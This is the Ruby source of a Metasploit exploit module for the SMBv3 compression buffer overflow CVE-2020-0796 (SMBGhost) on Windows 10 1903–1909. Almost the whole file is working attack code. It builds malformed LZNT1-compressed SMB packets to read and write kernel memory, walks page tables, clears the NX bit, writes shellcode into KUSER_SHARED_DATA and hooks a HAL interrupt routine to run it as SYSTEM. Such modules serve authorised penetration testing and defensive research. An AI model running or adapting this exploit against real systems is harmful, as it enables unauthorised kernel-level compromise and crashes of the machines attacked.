## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp prepend Msf::Exploit::Remote::AutoCheck LZNT1 = RubySMB::Compression::LZNT1 # KUSER_SHARED_DATA offsets, these are defined by the module and are therefore target independent KSD_VA_MAP = 0x800 KSD_VA_PMDL = 0x900 KSD_VA_SHELLCODE = 0x950 # needs to be the highest offset for #cleanup MAX_READ_RETRIES = 5 WRITE_UNIT = 0xd0 def initialize(info = {}) super( update_info( info, 'Name' => 'SMBv3 Compression Buffer Overflow', 'Description' => %q{ A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation can take a few minutes as the necessary data is gathered. }, 'Author' => [ 'hugeh0ge', # Ricerca Security research, detailed technique description 'chompie1337', # PoC on which this module is based 'Spencer McIntyre', # msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2020-0796' ], [ 'URL', 'https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html' ], [ 'URL', 'https://github.com/chompie1337/SMBGhost_RCE_PoC' ], # the rest are not cve-2020-0796 specific but are on topic regarding the techniques used within the exploit [ 'URL', 'https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s' ], [ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems' ], [ 'URL', 'https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows' ], [ 'URL', 'https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 10 }, 'Privileged' => true, 'Payload' => { 'Space' => 600, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 10 v1903-1909 x64', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'OverflowSize' => 0x1100, 'LowStubFingerprint' => 0x1000600e9, 'KuserSharedData' => 0xfffff78000000000, # Offset(From,To) => Bytes 'Offset(HalpInterruptController,HalpApicRequestInterrupt)' => 0x78, 'Offset(LowStub,SelfVA)' => 0x78, 'Offset(LowStub,PML4)' => 0xa0, 'Offset(SrvnetBufferHdr,pMDL1)' => 0x38, 'Offset(SrvnetBufferHdr,pNetRawBuffer)' => 0x18 } ] ], 'DisclosureDate' => '2020-03-13', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => [ 'SMBGhost', 'CoronaBlue' ], 'Stability' => [ CRASH_OS_RESTARTS, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'RelatedModules' => [ 'exploit/windows/local/cve_2020_0796_smbghost' ], 'SideEffects' => [] } ) ) register_options([Opt::RPORT(445),]) register_advanced_options([ OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]) ]) end def check begin client = RubySMB::Client.new( RubySMB::Dispatcher::Socket.new(connect(false)), username: '', password: '', smb1: false, smb2: false, smb3: true ) protocol = client.negotiate client.disconnect! rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError return CheckCode::Unknown('SMB negotiation failed') rescue Errno::ECONNRESET return CheckCode::Unknown('Connection reset during SMB negotiation') rescue ::Exception => e # rubocop:disable Lint/RescueException vprint_error("#{rhost}: #{e.class} #{e}") return CheckCode::Unknown("Unexpected error during SMB negotiation: #{e.class}") end return CheckCode::Safe('Target does not support SMB3') unless protocol == 'SMB3' return CheckCode::Safe("Target SMB dialect #{client.dialect} is not 0x0311") unless client.dialect == '0x0311' lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1') return CheckCode::Safe('Target does not support LZNT1 compression') unless client.server_compression_algorithms.include?(lznt1_algorithm) CheckCode::Detected('Target supports SMB 3.1.1 with LZNT1 compression') end def smb_negotiate # need a custom negotiate function because the responses will be corrupt while reading memory sock = connect(false) dispatcher = RubySMB::Dispatcher::Socket.new(sock) packet = RubySMB::SMB2::Packet::NegotiateRequest.new packet.client_guid = SecureRandom.random_bytes(16) packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) }) packet.capabilities.large_mtu = 1 packet.capabilities.encryption = 1 nc = RubySMB::SMB2::NegotiateContext.new( context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES ) nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512 nc.data.salt = "\x00" * 32 packet.add_negotiate_context(nc) nc = RubySMB::SMB2::NegotiateContext.new( context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES ) nc.data.flags = 1 nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1 packet.add_negotiate_context(nc) dispatcher.send_packet(packet) dispatcher end def write_primitive(data, addr) dispatcher = smb_negotiate dispatcher.tcp_socket.get_once # disregard the response uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length) uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)'] uncompressed_data << [ addr ].pack('Q<') pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new( original_compressed_segment_size: 0xffffffff, compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1, offset: data.length, compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes ) dispatcher.send_packet(pkt) dispatcher.tcp_socket.close end def write_srvnet_buffer_hdr(data, offset) dispatcher = smb_negotiate dispatcher.tcp_socket.get_once # disregard the response dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset) pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new( original_compressed_segment_size: 0xffffefff, compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1, offset: dummy_data.length, compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes ) dispatcher.send_packet(pkt) dispatcher.tcp_socket.close end def read_primitive(phys_addr) value = @memory_cache[phys_addr] return value unless value.nil? vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}") fake_mdl = MDL.new( mdl_size: 0x48, mdl_flags: 0x5018, mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP), start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff), byte_count: 600, byte_offset: ((phys_addr & 0xfff) + 0x4) ) phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12 (MAX_READ_RETRIES * 2).times do |try| write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL)) write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)']) MAX_READ_RETRIES.times do |_| dispatcher = smb_negotiate blob = dispatcher.tcp_socket.get_once dispatcher.tcp_socket.close next '' if blob.nil? next if blob[4..7] == "\xfeSMB".b @memory_cache[phys_addr] = blob return blob end sleep try**2 end fail_with(Failure::Unknown, 'Failed to read physical memory') end def find_low_stub common = [0x13000].to_enum # try the most common value first all = (0x1000..0x100000).step(0x1000) (common + all).each do |index| buff = read_primitive(index) entry = buff.unpack('Q<').first next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff) lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}") pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, '')) phal_heap = lowstub_va & 0xffffffffffff0000 print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}") return { pml4: pml4, phal_heap: phal_heap } end fail_with(Failure::Unknown, 'Failed to find the low stub') end def find_pml4_selfref(pointers) search_len = 0x1000 index = pointers[:pml4] while search_len > 0 buff = read_primitive(index) buff = buff[0...-(buff.length % 8)] buff.unpack('Q<*').each_with_index do |entry, i| entry &= 0xfffff000 next unless entry == pointers[:pml4] selfref = ((index + (i * 8)) & 0xfff) >> 3 pointers[:pml4_selfref] = selfref print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}") return pointers end search_len -= [buff.length, 8].max index += [buff.length, 8].max end fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference') end def get_phys_addr(pointers, va_addr) pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1))) pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1))) pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1))) pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1))) pml4e = pointers[:pml4] + pml4_index * 8 pdpt_buff = read_primitive(pml4e) pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000 pdpte = pdpt + pdpt_index * 8 pdt_buff = read_primitive(pdpte) pdt = pdt_buff.unpack('Q<').first & 0xfffff000 pdte = pdt + pdt_index * 8 pt_buff = read_primitive(pdte) pt = pt_buff.unpack('Q<').first unless pt & (1 << 7) == 0 return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff) end pt &= 0xfffff000 pte = pt + pt_index * 8 pte_buff = read_primitive(pte) (pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff) end def disable_nx(pointers, addr) lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39) ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8 pte_va = ((addr >> 9) | lb) & ub phys_addr = get_phys_addr(pointers, pte_va) orig_val = read_primitive(phys_addr).unpack1('Q<') overwrite_val = orig_val & ((1 << 63) - 1) write_primitive([ overwrite_val ].pack('Q<'), pte_va) { pte_va: pte_va, original: orig_val } end def search_hal_heap(pointers) va_cursor = pointers[:phal_heap] end_va = va_cursor + 0x20000 while va_cursor < end_va phys_addr = get_phys_addr(pointers, va_cursor) buff = read_primitive(phys_addr) buff = buff[0...-(buff.length % 8)] values = buff.unpack('Q<*') window_size = 8 # using a sliding window to fingerprint the memory 0.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break va = va_cursor + (i * 8) window = values[i...(i + window_size)] next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 } next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 } next unless window[3].between?(0x20, 0x40) next unless (window[0] - window[2]).between?(0x80, 0x180) phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12 # looks legit (TM), lets hope for the best # use WinDBG to validate the hal!HalpInterruptController value manually # 0: kd> dq poi(hal!HalpInterruptController) L1 pointers[:pHalpInterruptController] = va print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}") # use WinDBG to validate the hal!HalpApicRequestInterrupt value manually # 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1 pointers[:pHalpApicRequestInterrupt] = phalp_ari print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}") return pointers end va_cursor += buff.length end fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController') end def build_shellcode(pointers) source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'), mode: 'rb') edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded user_shellcode = payload.encoded edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt] edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'] edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length edata.data + user_shellcode end def exploit if datastore['DefangedMode'] warning = <<~EOF Are you SURE you want to execute this module? There is a high probability that even when the exploit is successful the remote target will crash within about 90 minutes. Disable the DefangedMode option to proceed. EOF fail_with(Failure::BadConfig, warning) end fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64 @memory_cache = {} @shellcode_length = 0 pointers = find_low_stub pointers = find_pml4_selfref(pointers) pointers = search_hal_heap(pointers) @nx_info = disable_nx(pointers, target['KuserSharedData']) print_status('KUSER_SHARED_DATA PTE NX bit cleared!') shellcode = build_shellcode(pointers) vprint_status("Transferring #{shellcode.length} bytes of shellcode...") @shellcode_length = shellcode.length write_bytes = 0 while write_bytes < @shellcode_length write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes) write_bytes += write_sz end vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...') write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']) end def cleanup return unless @memory_cache&.present? if @nx_info&.present? print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...') write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va]) end # need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...') start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length (start_va..end_va).step(WRITE_UNIT).each do |cursor| write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor) end end module CorruptLZNT1 def self.compress(buf, chunk_size: 0x1000) out = '' until buf.empty? chunk = buf[0...chunk_size] compressed = LZNT1.compress_chunk(chunk) # always use the compressed chunk, even if it's larger out << [ 0xb000 | (compressed.length - 1) ].pack('v') out << compressed buf = buf[chunk_size..] break if buf.nil? end out << [ 0x1337 ].pack('v') out end end class MDL < BinData::Record # https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL endian :little uint64 :next_mdl uint16 :mdl_size uint16 :mdl_flags uint16 :allocation_processor_number uint16 :reserved uint64 :process uint64 :mapped_system_va uint64 :start_va uint32 :byte_count uint32 :byte_offset end end